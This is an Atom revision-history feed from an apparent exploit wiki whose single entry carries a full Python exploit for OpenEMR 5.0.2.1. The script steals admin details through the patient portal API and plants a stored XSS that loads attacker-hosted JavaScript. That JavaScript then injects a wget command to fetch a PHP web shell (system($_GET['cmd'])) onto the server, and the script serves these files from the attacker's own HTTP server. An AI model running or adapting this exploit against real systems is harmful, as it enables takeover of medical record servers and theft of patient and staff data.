<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=OpenEMR_5.0.2.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>OpenEMR 5.0.2.1 遠程命令執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=OpenEMR_5.0.2.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=OpenEMR_5.0.2.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T08:14:31Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=OpenEMR_5.0.2.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1851&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: OpenEMR 5.0.2.1 - Remote Code Execution # Exploit Author: Hato0, BvThTrd # Date: 2020-08-07 # Vendor Homepage: https://www.open-emr.org/ # Softw...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=OpenEMR_5.0.2.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1851&amp;oldid=prev"/>
		<updated>2021-04-22T01:55:23Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: OpenEMR 5.0.2.1 - Remote Code Execution # Exploit Author: Hato0, BvThTrd # Date: 2020-08-07 # Vendor Homepage: https://www.open-emr.org/ # Softw...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: OpenEMR 5.0.2.1 - Remote Code Execution&lt;br /&gt;
# Exploit Author: Hato0, BvThTrd&lt;br /&gt;
# Date: 2020-08-07&lt;br /&gt;
# Vendor Homepage: https://www.open-emr.org/&lt;br /&gt;
# Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/5.0.2.1/openemr-5.0.2.tar.gz/download&lt;br /&gt;
# Version: 5.0.2.1 (without patches)&lt;br /&gt;
# Tested on: Ubuntu Server 20.04.1 LTS, OpenEMR Version 5.0.2.1&lt;br /&gt;
# References:&lt;br /&gt;
# https://blog.sonarsource.com/openemr-5-0-2-1-command-injection-vulnerability?utm_medium=cpc&amp;amp;utm_source=twitter&amp;amp;utm_campaign=openemr&amp;amp;utm_term=security&amp;amp;utm_content=tofu&lt;br /&gt;
# https://www.youtube.com/watch?v=H8VWNwWgYJo&amp;amp;feature=emb_logo&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
&lt;br /&gt;
WARNING='''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===================================== WARNING =====================================&lt;br /&gt;
    Please do not use for illegal purposes. It's for educational use only. &lt;br /&gt;
                        Please be on the good side.&lt;br /&gt;
===================================================================================&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
import argparse&lt;br /&gt;
import http.server&lt;br /&gt;
import socketserver&lt;br /&gt;
import requests&lt;br /&gt;
from termcolor import colored&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
OPENEMR_DIR = &amp;quot;&amp;quot;&lt;br /&gt;
RHOST = &amp;quot;127.0.0.1&amp;quot;&lt;br /&gt;
RPORT = 80&lt;br /&gt;
VHOST = &amp;quot;&amp;quot;&lt;br /&gt;
LHOST = &amp;quot;127.0.0.1&amp;quot;&lt;br /&gt;
LPORT = 4444&lt;br /&gt;
WPORT = 8080&lt;br /&gt;
&lt;br /&gt;
def main():&lt;br /&gt;
    print(colored(WARNING, &amp;quot;red&amp;quot;))&lt;br /&gt;
    arguments()&lt;br /&gt;
    cookie1, cookie2 = init_session() &lt;br /&gt;
    jsonReceived, id = get_api(cookie1[&amp;quot;OpenEMR&amp;quot;], cookie2[&amp;quot;PortalOpenEMR&amp;quot;])&lt;br /&gt;
    write_payload_js()&lt;br /&gt;
    write_wshell()&lt;br /&gt;
    send_xss(id,cookie1[&amp;quot;OpenEMR&amp;quot;], cookie2[&amp;quot;PortalOpenEMR&amp;quot;], jsonReceived)	&lt;br /&gt;
    if len(VHOST) &amp;gt; 0 :&lt;br /&gt;
        print(colored(&amp;quot;[+]&amp;quot;, &amp;quot;green&amp;quot;),f'Your wshell is available at http://{VHOST}/{OPENEMR_DIR}interface/main/wshell.php?cmd=')&lt;br /&gt;
    else:&lt;br /&gt;
        print(colored(&amp;quot;[+]&amp;quot;, &amp;quot;green&amp;quot;),f'Your wshell is available at http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/main/wshell.php?cmd=')&lt;br /&gt;
    web_serv()&lt;br /&gt;
&lt;br /&gt;
def arguments():&lt;br /&gt;
    parser = argparse.ArgumentParser(description='This exploit drop a web shell on an OpenEMR v5.0.2.1 CMS. At the end, GET the URL and run a netcat listener on the LHOST:LHPORT. You will be able to do a Remote Code Execution on this server.')&lt;br /&gt;
    parser.add_argument(&amp;quot;-d&amp;quot;, &amp;quot;--directory&amp;quot;, dest='directory', nargs='?', help=&amp;quot;Root directory OpenEMR CMS&amp;quot;)&lt;br /&gt;
    parser.add_argument(&amp;quot;-rh&amp;quot;, &amp;quot;--rhost&amp;quot;, dest='rhost', help=&amp;quot;Remote server IP&amp;quot;, required=True)&lt;br /&gt;
    parser.add_argument(&amp;quot;-rp&amp;quot;, &amp;quot;--rport&amp;quot;, dest='rport', nargs='?', help=&amp;quot;Remote server PORT&amp;quot;, type=int)&lt;br /&gt;
    parser.add_argument(&amp;quot;-vh&amp;quot;, &amp;quot;--vhost&amp;quot;, dest='vhost', nargs='?', help=&amp;quot;Remote server DOMAIN_NAME&amp;quot;)&lt;br /&gt;
    parser.add_argument(&amp;quot;-lh&amp;quot;, &amp;quot;--lhost&amp;quot;, dest='lhost', help=&amp;quot;Reverse shell IP&amp;quot;, required=True)&lt;br /&gt;
    parser.add_argument(&amp;quot;-lp&amp;quot;, &amp;quot;--lport&amp;quot;, dest='lport', help=&amp;quot;Reverse shell PORT&amp;quot;, type=int, required=True)&lt;br /&gt;
    parser.add_argument(&amp;quot;-wp&amp;quot;, &amp;quot;--wport&amp;quot;, dest='wport', nargs='?', help=&amp;quot;Web Server PORT&amp;quot;, type=int)&lt;br /&gt;
&lt;br /&gt;
    args = parser.parse_args()&lt;br /&gt;
&lt;br /&gt;
    if(args.directory != None):&lt;br /&gt;
        global OPENEMR_DIR&lt;br /&gt;
        OPENEMR_DIR = str(args.directory)&lt;br /&gt;
        if OPENEMR_DIR[-1] != &amp;quot;/&amp;quot;:&lt;br /&gt;
            OPENEMR_DIR += &amp;quot;/&amp;quot;&lt;br /&gt;
    if(args.rhost != None):&lt;br /&gt;
        global RHOST&lt;br /&gt;
        RHOST =  str(args.rhost)&lt;br /&gt;
    if(args.rport != None):&lt;br /&gt;
        global RPORT &lt;br /&gt;
        RPORT = int(args.rport)&lt;br /&gt;
    if(args.vhost != None):&lt;br /&gt;
        global VHOST&lt;br /&gt;
        VHOST =  str(args.vhost)&lt;br /&gt;
    if(args.lhost != None):&lt;br /&gt;
        global LHOST &lt;br /&gt;
        LHOST = str(args.lhost)&lt;br /&gt;
    if(args.lport != None):&lt;br /&gt;
        global LPORT &lt;br /&gt;
        LPORT = int(args.lport)&lt;br /&gt;
    if(args.wport != None):&lt;br /&gt;
        global WPORT &lt;br /&gt;
        WPORT = int(args.wport)&lt;br /&gt;
&lt;br /&gt;
def init_session():&lt;br /&gt;
	r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/login/login.php?site=default', headers={'host': VHOST})			&lt;br /&gt;
&lt;br /&gt;
	if (r.status_code != 200):&lt;br /&gt;
		print(colored(&amp;quot;[-]&amp;quot;, &amp;quot;red&amp;quot;),f'An error occured : {r.status_code} ==&amp;gt;\n{r.text}')&lt;br /&gt;
		exit(1)&lt;br /&gt;
	else:&lt;br /&gt;
		print(colored(&amp;quot;[+]&amp;quot;, &amp;quot;green&amp;quot;),f'Successfully set Session_Regsiter=true with cookie OpenEMR:{r.cookies[&amp;quot;OpenEMR&amp;quot;]}')&lt;br /&gt;
&lt;br /&gt;
	cookies = {&amp;quot;OpenEMR&amp;quot; : r.cookies[&amp;quot;OpenEMR&amp;quot;]}&lt;br /&gt;
	r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/account/register.php', headers={'host': VHOST}, cookies=cookies)			&lt;br /&gt;
&lt;br /&gt;
	if (r.status_code != 200):&lt;br /&gt;
		print(colored(&amp;quot;[-]&amp;quot;, &amp;quot;red&amp;quot;),f'An error occured : {r.status_code} ==&amp;gt;\n{r.text}')&lt;br /&gt;
		exit(1)&lt;br /&gt;
	else:&lt;br /&gt;
		print(colored(&amp;quot;[+]&amp;quot;, &amp;quot;green&amp;quot;),f'Successfully set Session_Regsiter=true with cookie PortalOpenEMR:{r.cookies[&amp;quot;PortalOpenEMR&amp;quot;]}')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
	cookies2 = {&amp;quot;PortalOpenEMR&amp;quot;: r.cookies[&amp;quot;PortalOpenEMR&amp;quot;]}&lt;br /&gt;
	return (cookies, cookies2)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def get_api(cookieEMR, cookiePortal):&lt;br /&gt;
	cookies = {&amp;quot;OpenEMR&amp;quot; : cookieEMR, &amp;quot;PortalOpenEMR&amp;quot;: cookiePortal}&lt;br /&gt;
&lt;br /&gt;
	r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/patient/api/users/', headers={'host': VHOST}, cookies=cookies)&lt;br /&gt;
&lt;br /&gt;
	parsed_json = (json.loads(r.text))&lt;br /&gt;
	for row in parsed_json['rows']:&lt;br /&gt;
		if row['authorized'] == str(1):&lt;br /&gt;
			print(colored(&amp;quot;[+]&amp;quot;, &amp;quot;green&amp;quot;),f'Find admin :')&lt;br /&gt;
			print(colored('\t[*]', 'yellow'), f'Id = {row[&amp;quot;id&amp;quot;]}')&lt;br /&gt;
			print(colored('\t[*]', 'yellow'), f'Username = {row[&amp;quot;username&amp;quot;]}')&lt;br /&gt;
			print(colored('\t[*]', 'yellow'), f'lname = {row[&amp;quot;lname&amp;quot;]}')&lt;br /&gt;
			print(colored('\t[*]', 'yellow'), f'fname = {row[&amp;quot;fname&amp;quot;]}')&lt;br /&gt;
			id = row['id']&lt;br /&gt;
			json_to_return = row&lt;br /&gt;
	if (r.status_code != 200):&lt;br /&gt;
		print(colored(&amp;quot;[-]&amp;quot;, &amp;quot;red&amp;quot;),f'An error occured : {r.status_code} ==&amp;gt;\n{r.text}')&lt;br /&gt;
		exit(1)&lt;br /&gt;
	else:&lt;br /&gt;
		return (json_to_return, id)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def write_payload_js():&lt;br /&gt;
    payload = &amp;quot;var xmlHttp = new XMLHttpRequest();\n&amp;quot;&lt;br /&gt;
    payload += &amp;quot;var token = window.location.href;\n&amp;quot;&lt;br /&gt;
    if len(VHOST) &amp;gt; 0 :&lt;br /&gt;
        payload += &amp;quot;var mainUrl = 'http://{0}/{1}interface/main/tabs/main.php?token_main=';\n&amp;quot;.format(VHOST, OPENEMR_DIR)&lt;br /&gt;
        payload += &amp;quot;var backUrl = 'http://{0}/{1}interface/main/backup.php';\n&amp;quot;.format(VHOST,OPENEMR_DIR)&lt;br /&gt;
    else:&lt;br /&gt;
        payload += &amp;quot;var mainUrl = 'http://{0}:{1}/{2}interface/main/tabs/main.php?token_main=';\n&amp;quot;.format(RHOST, RPORT, OPENEMR_DIR)&lt;br /&gt;
        payload += &amp;quot;var backUrl = 'http://{0}:{1}/{2}interface/main/backup.php';\n&amp;quot;.format(RHOST, RPORT, OPENEMR_DIR)&lt;br /&gt;
    payload += &amp;quot;var cookieSet = 'OpenEMR=';\n\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    payload += &amp;quot;token = token.split('=')[1];\n\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    payload += &amp;quot;xmlHttp.open( 'GET', backUrl, false );\n&amp;quot;&lt;br /&gt;
    payload += &amp;quot;xmlHttp.send(null);\n\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    payload += &amp;quot;var response = xmlHttp.responseText;\n&amp;quot;&lt;br /&gt;
    payload += &amp;quot;var elemHTML = response.split(' ');\n&amp;quot;&lt;br /&gt;
    payload += &amp;quot;var csrf = '';\n\n\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    payload += &amp;quot;for(var i=0; i &amp;lt; elemHTML.length; i++)\n&amp;quot;&lt;br /&gt;
    payload += &amp;quot;{\n&amp;quot;&lt;br /&gt;
    payload += &amp;quot;\t    if(elemHTML[i] == 'name=\&amp;quot;csrf_token_form\&amp;quot;')\n&amp;quot;&lt;br /&gt;
    payload += &amp;quot;\t    {\n&amp;quot;&lt;br /&gt;
    payload += &amp;quot;\t\t        csrf = elemHTML[i+1].split('=')[1].replace(/\&amp;quot;/g,'');\n&amp;quot;&lt;br /&gt;
    payload += &amp;quot;\t\t        break;\n&amp;quot;&lt;br /&gt;
    payload += &amp;quot;\t    }\n&amp;quot;&lt;br /&gt;
    payload += &amp;quot;}\n\n\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    payload += &amp;quot;var formData = new FormData();\n\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    payload += &amp;quot;formData.append('csrf_token_form', csrf);\n&amp;quot;&lt;br /&gt;
    payload += &amp;quot;formData.append('form_sel_lists[]', 'amendment_status');\n&amp;quot;&lt;br /&gt;
    payload += &amp;quot;formData.append('form_sel_layouts[]', '`wget http://{0}:{1}/wshell.php -O wshell.php;`');\n&amp;quot;.format(LHOST,WPORT)&lt;br /&gt;
    payload += &amp;quot;formData.append('form_step', '102');\n&amp;quot;&lt;br /&gt;
    payload += &amp;quot;formData.append('form_status', '');\n\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    payload += &amp;quot;var request = new XMLHttpRequest();\n&amp;quot;&lt;br /&gt;
    payload += &amp;quot;request.open('POST', backUrl);\n&amp;quot;&lt;br /&gt;
    payload += &amp;quot;request.send(formData);\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    with open('payload.js','w') as fpayload:&lt;br /&gt;
        for line in payload:&lt;br /&gt;
            fpayload.write(line)&lt;br /&gt;
        fpayload.close()&lt;br /&gt;
    print(colored(&amp;quot;[+]&amp;quot;, &amp;quot;green&amp;quot;),f'Payload XSS written')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def write_wshell():&lt;br /&gt;
    with open('wshell.php','w') as fwshell:&lt;br /&gt;
        fwshell.write(&amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;\n&amp;quot;)&lt;br /&gt;
        fwshell.close()&lt;br /&gt;
    print(colored(&amp;quot;[+]&amp;quot;, &amp;quot;green&amp;quot;),f'Wshell written')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def send_xss(id, cookieEMR, cookiePortal, jsonData):&lt;br /&gt;
	cookies = {&amp;quot;OpenEMR&amp;quot; : cookieEMR, &amp;quot;PortalOpenEMR&amp;quot;: cookiePortal}&lt;br /&gt;
	jsonData[&amp;quot;lname&amp;quot;] = &amp;quot;&amp;lt;script src='http://{0}:{1}/payload.js'&amp;gt; &amp;lt;/script&amp;gt;&amp;quot;.format(LHOST,WPORT)&lt;br /&gt;
	jsonData[&amp;quot;cpoe&amp;quot;] = 1&lt;br /&gt;
	jsonData[&amp;quot;source&amp;quot;] = 1&lt;br /&gt;
	jsonData.pop(&amp;quot;id&amp;quot;,None)&lt;br /&gt;
	data = json.dumps(jsonData, indent = 4)&lt;br /&gt;
	r = requests.put(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/patient/api/user/{id}', headers={'host': VHOST}, cookies=cookies, data=data)&lt;br /&gt;
	print(colored(&amp;quot;[+]&amp;quot;, &amp;quot;green&amp;quot;),f'Stored XSS dropped')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def web_serv():&lt;br /&gt;
    Handler = http.server.SimpleHTTPRequestHandler&lt;br /&gt;
&lt;br /&gt;
    with socketserver.TCPServer((&amp;quot;&amp;quot;, WPORT), Handler) as httpd:&lt;br /&gt;
        print(colored(&amp;quot;[+]&amp;quot;, &amp;quot;green&amp;quot;),f'HTTP Simple Server running at localhost PORT {WPORT}')&lt;br /&gt;
        httpd.serve_forever()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    main()&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>